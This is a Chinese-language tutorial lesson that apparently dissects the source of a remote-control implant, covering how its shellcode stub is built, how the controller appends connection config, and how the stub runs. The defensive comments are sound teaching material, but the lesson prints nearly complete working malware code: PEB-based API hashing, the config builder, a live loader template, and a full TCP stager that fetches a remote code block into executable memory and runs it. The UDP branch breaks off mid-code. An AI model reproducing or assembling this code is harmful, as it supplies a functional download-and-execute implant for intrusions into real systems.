第 18 课:被控 shellcode 生成与执行流程
# 第 18 课:被控 shellcode 生成与执行流程
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课只从企业安全工程、源码审计和恶意代码分析视角讲解。文中不会提供可直接复用的攻击投递步骤、真实载荷字节或绕过检测方法;涉及动态执行的代码只用于帮助读者识别风险链路。
# 1. 本课要解决什么问题
前两课已经讲过 EXE、DLL、x86/x64 产物和 DLL 使用方式。第 18 课继续往下走,专门讲这套源码里最容易让新手迷糊的一条链路:
主插件\shellcode工程如何生成被控 shellcode 代码块。- 主控如何把连接配置拼接到 shellcode 后面。
- shellcode 被启动后如何找到自己的配置。
- shellcode 如何动态解析 API、联网取回后续模块数据。
- 取回的代码块如何进入
主插件\上线模块的load(TCHAR* code)入口。 - 企业防御侧应该在源码、构建、内存、网络和日志中看哪些证据。
先记住一句话:本课里的 shellcode 不是一个普通 DLL,也不是一个完整 EXE。它更像一段“能自己找 API、自己找配置、自己取回后续模块、再把控制流交给上线模块”的独立代码块。

# 2. 源码目录和阅读顺序
本课主要涉及四组源码。
| 目录或文件 | 作用 |
|---|---|
主插件\shellcode\shellcode\shellcode.vcxproj | 执行代码 工程配置,定义 Release 构建后事件和 x86/x64 输出位置 |
主插件\shellcode\shellcode\ShellCode_main.cpp | shellcode 核心实现,包含入口函数、API 自解析、配置扫描、TCP/UDP 取数和构建期导出逻辑 |
主控\Quick\BuildDlg.cpp | 主控生成 shellcode 文件的界面逻辑,把连接地址、端口、通信方式和完整配置拼到代码块后面 |
主插件\上线模块\上线模块\上线模块.cpp | 上线模块入口,load(TCHAR* code) 接收 shellcode 传来的配置并启动连接线程 |
主插件\上线模块\上线模块\KernelManager.cpp | 上线后继续加载登录模块的逻辑,把登录模块数据交给后续内存加载链 |
建议按下面顺序读源码:
- 先看
shellcode.vcxproj,理解为什么构建后会运行执行代码.exe。 - 再看
_tmain,理解它为什么只截取ntdll_entry到ntdll_end。 - 再看
BuildDlg.cpp,理解主控如何把codemark + 配置拼到 shellcode 后面。 - 再看
ntdll_entry,理解运行期如何找 API、找配置、选择 TCP/UDP。 - 最后看
上线模块.cpp的load和MainThread,理解后续上线流程如何接上。
# 3. 前置概念:先把名词说清楚
shellcode 是什么。 在本课语境里,shellcode 是一段从普通可执行文件中截取出来的机器码区域。它不能像普通 DLL 那样依赖 Windows Loader 帮它处理导入表、重定位和入口调用,所以它必须尽量自己解决“我在哪里、系统 API 在哪里、配置在哪里、下一段代码在哪里”这些问题。
PEB / TEB 是什么。
TEB 是线程环境块,PEB 是进程环境块。Windows 进程里会保存当前进程加载了哪些模块、模块基址在哪里等信息。shellcode 没有稳定导入表时,常见做法是从 TEB 找到 PEB,再从 PEB 的模块链表里找 kernel32.dll、ntdll.dll 等系统模块。对防御侧来说,源码里出现 FS:[0x30]、GS:[0x60]、PEB 遍历、模块链表遍历,通常是动态解析 API 的强信号。
IAT / EAT 是什么。 IAT 是导入表,普通 EXE/DLL 通过它记录“我需要哪些外部 API”。EAT 是导出表,系统 DLL 通过它告诉外部“我提供哪些函数”。这份 shellcode 不想依赖普通 IAT,因此会先找到模块基址,再遍历 EAT,用哈希值匹配函数名,最后得到 API 地址。
为什么要动态解析 API。
普通程序调用 VirtualAlloc、LoadLibraryA、WSAStartup 时,编译器和链接器会把导入关系写入 PE 文件。shellcode 作为裸代码块运行时,不能完全依赖这套机制,所以它用 get_kernel32_base 和 get_proc_address_from_hash 自己找 API。安全产品会重点关注这种行为,因为它常和无文件执行、手工加载、内存载荷相关。
为什么 PAGE_EXECUTE_READWRITE 是高风险信号。
内存页同时可读、可写、可执行,意味着程序可以先把数据写进去,再把这块数据当代码执行。正常业务程序很少需要长期 RWX 内存。源码里出现 VirtualAlloc(..., PAGE_EXECUTE_READWRITE) 并紧接着 memcpy、函数指针转换、间接调用时,基本就形成了“写入代码 -> 执行代码”的高风险链路。
x86 / x64 为什么差异很大。
x86 指针宽度是 4 字节,x64 指针宽度是 8 字节。x86 下 PEB 常通过 FS:[0x30] 取得,x64 下常通过 GS:[0x60] 取得。调用约定、结构体对齐、函数指针大小、网络标识也会不同。本源码里,TCP 分支发送 "32" 或 "64",UDP 分支使用不同标识字节,目的都是告诉对端当前需要哪种架构的数据。

# 4. 完整生命周期:从工程构建到上线模块
把本课代码串成一条线,会比直接读函数清楚很多。
| 阶段 | 发生了什么 | 关键源码 |
|---|---|---|
| 构建期 | shellcode.vcxproj 编译 执行代码.exe,Release 构建后事件运行这个 EXE | shellcode.vcxproj |
| 导出期 | _tmain 把 ntdll_entry 到 ntdll_end 之间的代码写成 执行代码.dll | ShellCode_main.cpp:761 |
| 主控生成期 | 主控读取 执行代码.dll,在末尾拼接 ShellCodeInfo、地址、端口和完整配置 | BuildDlg.cpp:1409、BuildDlg.cpp:1449 |
| 启动期 | 外部加载器把 shellcode 字节放进可执行内存,把入口当函数调用 | BuildDlg.cpp:144 的模板示例 |
| 自举期 | ntdll_entry 找 kernel32、解析 API、扫描 codemark 找配置 | ShellCode_main.cpp:347 |
| 取数期 | mytcp 或 myudp 按配置连接并接收后续代码块 | ShellCode_main.cpp:436、ShellCode_main.cpp:504 |
| 转交期 | 接收缓冲区被当作入口调用,返回 load 函数指针,再把配置传入 | ShellCode_main.cpp:436-502 |
| 上线期 | 上线模块::load 解析配置,创建 MainThread,进入连接循环 | 上线模块.cpp:400、上线模块.cpp:189 |

# 5. 构建期:执行代码 工程如何产出代码块
先看工程配置。shellcode.vcxproj 的项目名是 执行代码,Release 配置中存在构建后事件。构建后事件会运行刚生成的 EXE,然后由 EXE 自己把代码区间写出。
<!-- 源码位置:主插件\shellcode\shellcode\shellcode.vcxproj:22-27 -->
<PropertyGroup Label="Globals">
<ProjectGuid>{DB54F4C7-3909-4E06-BA3B-B5F8459FA5C6}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>shellcode</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<ProjectName>执行代码</ProjectName>
</PropertyGroup>
2
3
4
5
6
7
8
Release x86 和 Release x64 都会在构建后执行产物。这里要特别提醒新手:看到 PostBuildEvent 不要只把它当“复制文件脚本”。它可以执行任意程序,是企业构建链审计必须记录的点。
<!-- 源码位置:主插件\shellcode\shellcode\shellcode.vcxproj:131-135 -->
<PostBuildEvent>
<!-- 防御分析:构建后运行 Release\执行代码.exe。
这里不是普通业务启动,而是触发 _tmain 导出 shellcode 代码区间。 -->
<Command>$(SolutionDir)$(Configuration)\$(ProjectName).exe</Command>
<Message>生成..\\..\\Release\\执行代码.dll</Message>
</PostBuildEvent>
<!-- 源码位置:主插件\shellcode\shellcode\shellcode.vcxproj:158-161 -->
<PostBuildEvent>
<!-- 防御分析:x64 构建后运行 x64\Release\执行代码.exe。
输出路径和 x86 不同,主控后续会分别读取 x86/x64 的代码块。 -->
<Command>$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).exe</Command>
<Message>生成..\\..\\x64\\Release\\执行代码.dll</Message>
</PostBuildEvent>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
再看 _tmain。这个函数的关键点不是“做业务”,而是把 ntdll_entry 和 ntdll_end 之间的机器码写到文件。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:761-785
int _tmain(int argc, _TCHAR* argv[])
{
// 防御分析:start 指向 shellcode 运行期入口。
uint8_t* start = (uint8_t*)ntdll_entry;
// 防御分析:end 是人为放置的边界函数。
// 代码将 [ntdll_entry, ntdll_end) 这个地址区间写出。
uint8_t* end = (uint8_t*)ntdll_end;
size_t size = end - start;
TCHAR* pFolderPath = SHELLCODE_HEADER_FILE_NAME;
HANDLE h = CreateFileW(pFolderPath, FILE_WRITE_ACCESS, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
if (INVALID_HANDLE_VALUE == h || NULL == h)
return -1;
// 防御分析:WriteFile 写出的不是普通配置文件,而是可被后续加载执行的代码块。
DWORD dwBytesWritten = 0;
if (!WriteFile(h, start, (DWORD)size, &dwBytesWritten, NULL) || size != dwBytesWritten)
{
CloseHandle(h);
return -1;
}
FlushFileBuffers(h);
CloseHandle(h);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
这里有一个容易误解的地方:文件名叫 执行代码.dll,但这节课不要把它理解成普通 DLL 加载。它的核心价值是“保存一段可执行代码区域”,后续主控会把它当作字节块继续拼接配置。
# 6. 主控生成期:配置如何拼到 shellcode 后面
构建期只生成了代码块。真正和“被控上线配置”有关的数据,是主控生成阶段拼进去的。
BuildDlg.cpp 里也定义了一个 ShellCodeInfo。它和 ShellCode_main.cpp 中运行期要读取的结构对应。注意:结构体里只保存地址长度、端口和通信模式,不直接保存完整地址字符串;地址字符串会紧跟在结构体后面。
// 源码位置:主控\Quick\BuildDlg.cpp:105-119
struct ShellCodeInfo
{
char mark[30]; // 防御分析:固定标记,运行期通过扫描 "codemark" 找到配置起点。
int addrlen1; // 第一组地址字符串长度,运行期按这个长度复制 add1。
int szPort1; // 第一组端口,运行期填入 sockaddr。
bool IsTcp1; // 第一组通信模式,true 表示 TCP,false 表示 UDP。
int addrlen2; // 第二组地址字符串长度,运行期按这个长度复制 add2。
int szPort2; // 第二组端口。
bool IsTcp2; // 第二组通信模式。
} g_myShellCodeInfo =
{
"codemark", // 防御分析:这是内存扫描锚点,也是静态规则可关注的字符串特征。
10,
3,
1,
10,
3,
1,
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
用户在主控界面点生成 shellcode 时,会分别生成 x86 和 x64 两份输出。这里的“分别生成”很重要,因为 32 位和 64 位代码块不能混用。
// 源码位置:主控\Quick\BuildDlg.cpp:1409-1444
void CBuildDlg::OnBnClickedBuildShellcode()
{
UpdateData(TRUE);
// 防御分析:界面提示说明 shellcode 生成只使用第一组和第二组 IP/端口。
m_edit_tip.SendMessage(EM_REPLACESEL, 0,
(LPARAM)_T("注意:shellcode上线只使用第一组和第二组 IP 端口配置 支持TCP UDP,其他一样\r\n"));
CFileDialog dlg(FALSE, _T(""), _T("output"), OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
_T("可执行文件(*.*)| All Files (*.*) |*.*||"), NULL);
if (dlg.DoModal() != IDOK)
return;
if (!GetSettingData())
return;
// 防御分析:先读取 x86 的执行代码.dll,再写成用户选择路径 + _86.bin。
CString path;
path = _T("\\Plugins\\x86\\执行代码.dll");
swprintf_s(m_szWritePath, _T("%s_86.bin"), dlg.GetPathName());
if (!changeshellcodeandwritefile(path))
return;
// 防御分析:再读取 x64 的执行代码.dll,写成用户选择路径 + _64.bin。
path = _T("\\Plugins\\x64\\执行代码.dll");
swprintf_s(m_szWritePath, _T("%s_64.bin"), dlg.GetPathName());
if (!changeshellcodeandwritefile(path))
return;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
拼接逻辑在 changeshellcodeandwritefile。新手读这段时,不要一上来纠结每个 UI 控件名。先抓住内存布局:
[ntdll_entry 到 ntdll_end 的代码区]
[ShellCodeInfo,开头包含 codemark]
[addr1 字符串]
[addr2 字符串]
[confi 完整配置字符串]
2
3
4
5

对应源码如下。
// 源码位置:主控\Quick\BuildDlg.cpp:1449-1512
BOOL CBuildDlg::changeshellcodeandwritefile(const CString& path)
{
// 防御分析:path 指向 Plugins\x86\执行代码.dll 或 Plugins\x64\执行代码.dll。
TCHAR szDataPath[MAX_PATH] = { 0 };
GetModuleFileName(NULL, szDataPath, ARRAYSIZE(szDataPath));
*_tcsrchr(szDataPath, _T('\\')) = '\0';
CString path_data = szDataPath;
path_data += path;
ShellCodeInfo shellCodeInfo;
memcpy(&shellCodeInfo, &g_myShellCodeInfo, sizeof(ShellCodeInfo));
// 防御分析:第一组地址来自主控界面,转换为窄字节字符串后拼到结构体后面。
int nLen = wcslen(m_edit_ip.GetBuffer(0)) + 1;
char addr1[256] = { 0 };
WideCharToMultiByte(CP_ACP, 0, m_edit_ip.GetBuffer(0), nLen, addr1, 2 * nLen, NULL, NULL);
shellCodeInfo.szPort1 = _ttoi(m_edit_port.GetBuffer(0));
shellCodeInfo.IsTcp1 = m_combo_net.GetCurSel() ? false : true;
shellCodeInfo.addrlen1 = strlen(addr1) + 1;
// 防御分析:第二组地址同理。运行期失败切换时会使用第二组配置。
nLen = wcslen(m_edit_ip2.GetBuffer(0)) + 1;
char addr2[256] = {};
WideCharToMultiByte(CP_ACP, 0, m_edit_ip2.GetBuffer(0), nLen, addr2, 2 * nLen, NULL, NULL);
shellCodeInfo.szPort2 = _ttoi(m_edit_port2.GetBuffer(0));
shellCodeInfo.IsTcp2 = m_combo_net2.GetCurSel() ? false : true;
shellCodeInfo.addrlen2 = strlen(addr2) + 1;
// 防御分析:读取构建期输出的代码块。企业侧应关注构建产物被再次读取并拼接配置。
HANDLE hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
DWORD len = GetFileSize(hFile, NULL);
char* str = new char[len];
ZeroMemory(str, sizeof(char) * len);
DWORD wr = 0;
ReadFile(hFile, str, len, &wr, NULL);
CloseHandle(hFile);
// 防御分析:最终文件 = 代码块 + ShellCodeInfo + addr1 + addr2 + 完整配置。
int shellcodeSize = len + sizeof(ShellCodeInfo) + shellCodeInfo.addrlen1 +
shellCodeInfo.addrlen2 + lstrlen(m_szConfig) * 2 + 2;
unsigned char* lpDatBuffer = new unsigned char[shellcodeSize];
ZeroMemory(lpDatBuffer, shellcodeSize);
CopyMemory(lpDatBuffer, str, len); // 代码区
CopyMemory(lpDatBuffer + len, &shellCodeInfo, sizeof(ShellCodeInfo)); // codemark + 长度/端口/模式
CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo), addr1, shellCodeInfo.addrlen1); // 第一组地址
CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo) + shellCodeInfo.addrlen1,
addr2, shellCodeInfo.addrlen2); // 第二组地址
CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo) + shellCodeInfo.addrlen1 + shellCodeInfo.addrlen2,
m_szConfig, lstrlen(m_szConfig) * 2 + 2); // 完整配置
// 防御分析:写出的 .bin 是“代码 + 配置”的组合体,不应在未授权环境运行。
HANDLE h_bin = CreateFileW(m_szWritePath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);
// 安全化节选:省略文件刷新细节,仅保留防御分析所需的构建输出边界。
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
这一步解决的是“shellcode 如何带上配置”。如果不理解这段,后面看到 ntdll_entry 扫描 codemark 时就会觉得突然。
# 7. 启动期:shellcode 如何被启动
shellcode 写成文件以后,还需要有一段外部加载逻辑把它放进内存并转移控制流。项目里在 BuildDlg.cpp 中放了一个“使用方法”字符串模板,展示的是典型高风险形态:申请可执行内存、复制 shellcode 字节、转成函数指针并调用。
// 源码位置:主控\Quick\BuildDlg.cpp:144-154
char OutDataloadfun[] = "/*//使用方法\r\n"
"\r\n typedef void(__stdcall* CODE) ();"
"\r\nPVOID p = NULL;"
"\r\nif ((p = VirtualAlloc(NULL, sizeof(g_ShellCodeFileBuff), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)"
"\r\n return 0;"
"\r\nif (!(memcpy(p, g_ShellCodeFileBuff, sizeof(g_ShellCodeFileBuff))))"
"\r\n return 0;"
"\r\n CODE code = (CODE)p;"
"\r\n code();"
"\r\n*/";
2
3
4
5
6
7
8
9
10
11
对新手来说,可以把这段拆成四个动作:
VirtualAlloc申请一段内存。PAGE_EXECUTE_READWRITE让这段内存具备写入和执行能力。memcpy把外部字节复制进去。(CODE)p把内存地址当作函数入口,再code()转移控制流。
下面这段是防御审计用的抽象示例,特意禁用执行,不包含真实 shellcode 字节,也不作为可运行样例。它的目的只是帮助你在代码审计时识别“动态代码加载”的形状。
// 防御审计示例:不要运行,不包含真实载荷。
// 源码对应风险形态:主控\Quick\BuildDlg.cpp:144-154
#if 0
#include <windows.h>
#include <cstdint>
#include <cstring>
void AuditOnly_ShellcodeLoadShape(const uint8_t* bytes, size_t size)
{
// 防御分析:bytes/size 代表外部输入的代码字节。
// 合法软件应验证来源、签名、完整性和业务必要性;未知来源字节绝不能直接执行。
if (bytes == nullptr || size == 0)
return;
// 防御分析:RWX 是最重要的告警点之一。
void* region = VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (region == nullptr)
return;
// 防御分析:写入后执行是 EDR/内存取证要关联观察的行为。
std::memcpy(region, bytes, size);
// 防御分析:函数指针转换说明控制流可能离开正常模块边界。
// 本示例不调用 entry(),避免提供可直接复用的执行样例。
using Entry = void(__stdcall*)();
Entry entry = reinterpret_cast<Entry>(region);
// entry(); // 高风险控制流转移点:教程不执行,也不提供真实字节。
VirtualFree(region, 0, MEM_RELEASE);
}
#endif
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
企业检测时不要只看单个 API。更可靠的关联是:
VirtualAlloc(PAGE_EXECUTE_READWRITE)
-> memcpy / WriteProcessMemory / 网络 recv 写入
-> 函数指针转换或线程入口指向私有内存
-> 后续出现网络连接、模块加载或命令分发
2
3
4

# 8. 运行期第一步:ntdll_entry 自举
一旦控制流进入 shellcode,第一站就是 ntdll_entry。这个函数要完成四件事:
- 找到
kernel32.dll。 - 解析
GetProcAddress、LoadLibraryA、VirtualAlloc等 API。 - 扫描
codemark,找到后面拼接的配置。 - 加载
Ws2_32.dll,解析网络函数,然后按配置走 TCP 或 UDP。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:347-383
unsigned int ntdll_entry()
{
func_t func;
func.m_socket = NULL;
func.buff = NULL;
func.data = NULL;
func.confi = NULL;
// 防御分析:shellcode 不依赖普通 IAT,而是从 PEB 模块链找 kernel32。
HMODULE kernel32 = get_kernel32_base();
// 防御分析:通过哈希值解析 API,减少可见字符串。
// 这是内存载荷、壳代码和手工加载器常见特征。
func.GetProcAddress = (_GetProcAddress)get_proc_address_from_hash(kernel32, GetProcAddress_Hash, 0);
func.LoadLibraryA = (_LoadLibraryA)get_proc_address_from_hash(kernel32, LoadLibraryA_Hash, func.GetProcAddress);
func.VirtualAlloc = (_VirtualAlloc)get_proc_address_from_hash(kernel32, VirtualAlloc_Hash, func.GetProcAddress);
func.VirtualFree = (_VirtualFree)get_proc_address_from_hash(kernel32, VirtualFree_Hash, func.GetProcAddress);
func.lstrcmpiA = (_lstrcmpiA)get_proc_address_from_hash(kernel32, lstrcmpiA_Hash, func.GetProcAddress);
// 防御分析:加载 ntdll 后解析 RtlZeroMemory/RtlMoveMemory。
char s[] = { 'n', 't', 'd', 'l', 'l', 0 };
HMODULE ntdll = func.LoadLibraryA(s);
func._ZeroMemory = (_RtlZeroMemory)get_proc_address_from_hash(ntdll, RtlZeroMemory_Hash, func.GetProcAddress);
func._MoveMemory = (_RtlMoveMemory)get_proc_address_from_hash(ntdll, RtlMoveMemory_Hash, func.GetProcAddress);
#ifdef _WIN64
// 防御分析:x64 下直接以 ntdll_entry 为扫描起点。
char* buff_point = (char*)ntdll_entry;
#else
// 防御分析:x86 下通过 geteip32 获取当前位置。
char* buff_point = (char*)geteip32();
#endif
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
这里的 func_t 是一个运行期函数表。它把解析出来的 API 地址集中存起来,后面不再通过普通导入表调用。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:270-307
typedef struct Func {
// 防御分析:kernel32 API。VirtualAlloc/VirtualFree 是内存执行链路重点。
_GetProcAddress GetProcAddress;
_LoadLibraryA LoadLibraryA;
_VirtualAlloc VirtualAlloc;
_VirtualFree VirtualFree;
_lstrcmpiA lstrcmpiA;
// 防御分析:ntdll API。用于清零和内存复制,避免依赖 CRT。
_RtlZeroMemory _ZeroMemory;
_RtlMoveMemory _MoveMemory;
// 防御分析:Winsock API。后续取回上线模块代码块时会用到。
_WSAStartup WSAStartup;
_socket socket;
_getaddrinfo getaddrinfo;
_freeaddrinfo freeaddrinfo;
_htons htons;
_connect connect;
_send send;
_recv recv;
_closesocket closesocket;
_WSACleanup WSACleanup;
SOCKET m_socket; // 当前网络 socket。
SOCKADDR_IN ClientAddr;// 连接目标地址。
CHAR* buff; // 接收后续代码块的缓冲区,风险点在于后续会被当代码调用。
ShellCodeInfo* data; // 指向 codemark 位置,即配置结构起点。
TCHAR* confi; // 指向完整配置字符串,会传给上线模块 load。
char* add1; // 第一组连接地址。
char* add2; // 第二组连接地址。
} func_t, * func_p;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
配置定位依赖前面主控拼进去的 codemark。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:375-395
for (int i = 0; i < 21000; i++)
{
// 防御分析:扫描固定字符串 codemark。
// 这说明 shellcode 的配置不是通过命令行或导入表传入,而是附加在代码块后面。
if (buff_point[i] == 'c' && buff_point[i + 1] == 'o' &&
buff_point[i + 2] == 'd' && buff_point[i + 3] == 'e' &&
buff_point[i + 4] == 'm' && buff_point[i + 5] == 'a' &&
buff_point[i + 6] == 'r' && buff_point[i + 7] == 'k')
{
func.data = (ShellCodeInfo*)((DWORD_PTR)buff_point + i);
// 防御分析:把 addr1/addr2 复制到新分配内存。
// 注意这里使用 PAGE_EXECUTE_READWRITE,即使地址字符串本身不需要执行权限。
func.add1 = (CHAR*)func.VirtualAlloc(0, func.data->addrlen1, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
func._ZeroMemory(func.add1, func.data->addrlen1);
func._MoveMemory(func.add1, (char*)(func.data) + sizeof(ShellCodeInfo), func.data->addrlen1);
func.add2 = (CHAR*)func.VirtualAlloc(0, func.data->addrlen2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
func._ZeroMemory(func.add2, func.data->addrlen2);
func._MoveMemory(func.add2, (char*)(func.data) + sizeof(ShellCodeInfo) + func.data->addrlen1, func.data->addrlen2);
break;
}
}
// 防御分析:confi 指向 addr1、addr2 后面的完整配置字符串。
func.confi = (TCHAR*)((DWORD_PTR)func.data + sizeof(ShellCodeInfo)) + func.data->addrlen1 + func.data->addrlen2;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
这段代码解释了为什么前面必须先理解内存布局。codemark 不是魔法,它就是主控拼接进去的结构体开头。
# 9. API 动态解析:从 PEB 到 EAT
get_kernel32_base 负责从 PEB 的模块链表中找 kernel32.dll。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:677-698
HMODULE get_kernel32_base()
{
_PPEB peb = 0;
#ifdef _WIN64
// 防御分析:x64 下从 GS:[0x60] 取得 PEB。
peb = (_PPEB)__readgsqword(0x60);
#else
// 防御分析:x86 下从 FS:[0x30] 取得 PEB。
peb = (_PPEB)__readfsdword(0x30);
#endif
// 防御分析:遍历 InMemoryOrderModuleList。
// 这种“自己找模块基址”的行为是 shellcode 常见自举动作。
LIST_ENTRY* entry = peb->pLdr->InMemoryOrderModuleList.Flink;
while (entry)
{
PLDR_DATA_TABLE_ENTRY e = (PLDR_DATA_TABLE_ENTRY)entry;
if (calc_hashW2(e->BaseDllName.pBuffer, e->BaseDllName.Length / 2) == Kernel32Lib_Hash)
{
return (HMODULE)e->DllBase;
}
entry = entry->Flink;
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
get_proc_address_from_hash 负责遍历模块导出表。它不是直接比较函数名字符串,而是对导出函数名计算哈希,再和预先写死的哈希常量比较。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:711-735
void* get_proc_address_from_hash(HMODULE module, uint32_t func_hash, _GetProcAddress get_proc_address)
{
// 防御分析:手工解析 PE 头,从 DOS 头跳到 NT 头。
PIMAGE_DOS_HEADER dosh = cast(PIMAGE_DOS_HEADER, module);
PIMAGE_NT_HEADERS nth = cast_offset(PIMAGE_NT_HEADERS, module, dosh->e_lfanew);
// 防御分析:读取导出表目录。这里对应 PE 的 EAT。
PIMAGE_DATA_DIRECTORY dataDict = &nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (dataDict->VirtualAddress == 0 || dataDict->Size == 0)
return 0;
PIMAGE_EXPORT_DIRECTORY exportDict = cast_offset(PIMAGE_EXPORT_DIRECTORY, module, dataDict->VirtualAddress);
if (exportDict->NumberOfNames == 0)
return 0;
uint32_t* fn = cast_offset(uint32_t*, module, exportDict->AddressOfNames);
uint32_t* fa = cast_offset(uint32_t*, module, exportDict->AddressOfFunctions);
uint16_t* ord = cast_offset(uint16_t*, module, exportDict->AddressOfNameOrdinals);
for (uint32_t i = 0; i < exportDict->NumberOfNames; i++)
{
char* name = cast_offset(char*, module, fn[i]);
// 防御分析:不直接保存 API 字符串,而是比较哈希。
if (calc_hash(name) != func_hash)
continue;
return get_proc_address == 0
? cast_offset(void*, module, fa[ord[i]])
: get_proc_address(module, name);
}
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# 10. 运行期第二步:TCP / UDP 取回后续代码块
ntdll_entry 解析完 Ws2_32.dll 里的网络函数后,会根据配置选择 TCP 或 UDP。这里要理解一个关键点:shellcode 本身不包含完整上线模块代码,它会通过网络取回后续代码块,再把取回的数据当作入口调用。
# 10.1 TCP 分支
TCP 分支里最关键的几步是:申请可执行缓冲区、连接目标、发送架构标识、接收固定大小的数据、处理数据、转换为函数指针调用。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:436-502
void mytcp(func_t* func, int i)
{
LPVOID buff = NULL;
ADDRINFOA* ip = NULL;
// 防御分析:创建 TCP socket。这里用的是前面动态解析出来的函数指针。
func->m_socket = func->socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (func->m_socket == INVALID_SOCKET)
goto end;
// 防御分析:为后续代码块申请 RWX 内存。
// 这块内存后续会被转换为函数入口,是本课最重要的内存风险点。
func->buff = (CHAR*)func->VirtualAlloc(
0,
512 * 1024 + 14,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!func->buff)
goto end;
// 防御分析:按第一组或第二组地址解析目标。
if (func->getaddrinfo((i == 1) ? func->add1 : func->add2, 0, 0, &ip) != 0)
goto end;
func->ClientAddr = *((SOCKADDR_IN*)ip->ai_addr);
func->ClientAddr.sin_port = func->htons((i == 1) ? func->data->szPort1 : func->data->szPort2);
if (func->connect(func->m_socket, (SOCKADDR*)&(func->ClientAddr), sizeof(func->ClientAddr)) == SOCKET_ERROR)
goto end;
#ifdef _WIN64
char name[] = { '6','4',0 }; // 防御分析:告诉对端当前是 64 位。
#else
char name[] = { '3','2',0 }; // 防御分析:告诉对端当前是 32 位。
#endif
int rt = func->send(func->m_socket, name, sizeof(name), 0);
if (rt <= 0)
goto end;
// 防御分析:接收后续数据并复制到可执行缓冲区。
// 专栏不复现网络传输,只说明这类 recv -> RWX buffer -> indirect call 的风险链。
int len = 0;
int nSize = 0;
buff = func->VirtualAlloc(0, 310 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
do
{
nSize = func->recv(func->m_socket, (CHAR*)buff, 100 * 1024, 0);
if (nSize <= 0)
goto end;
func->_MoveMemory(func->buff + len, (void*)buff, (DWORD)nSize);
len += nSize;
} while (len != (300 * 1024 + 14));
// 防御分析:源码随后会处理接收到的数据,并把 func->buff 偏移后的地址当入口调用。
typedef VOID(__stdcall* CODE) (_In_ TCHAR*);
CODE fn = ((CODE(*)()) func->buff)();
fn(func->confi);
end:
if (ip)
func->freeaddrinfo(ip);
if (func->m_socket != INVALID_SOCKET)
func->closesocket(func->m_socket);
if (func->buff)
func->VirtualFree(func->buff, 0, MEM_RELEASE);
if (buff)
func->VirtualFree(buff, 0, MEM_RELEASE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
从防御角度看,最重要的不是具体接收多少字节,而是这条行为链:
socket/connect/send/recv
-> recv 数据进入私有内存
-> 目标内存具备执行权限
-> 函数指针从这块内存产生
-> 配置字符串作为参数传给返回的函数入口
2
3
4
5
# 10.2 UDP 分支
UDP 分支和 TCP 分支目标相同:取回后续代码块并转交控制流。不同点在于 UDP 需要自己处理分片、序号和重组。
// 源码位置:主插件\shellcode\shellcode\ShellCode_main.cpp:504-636
void myudp(func_t* func, int i)
{
ADDRINFOA* ip = NULL;
// 防御分析:UDP 分支同样为最终代码块申请 RWX 内存。
func->buff = (CHAR*)func->VirtualAlloc(
0,
512 * 1024,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!func->buff)
return;
#ifdef _WIN64
BYTE pe = '2'; // 防御分析:x64 UDP 标识。
#else
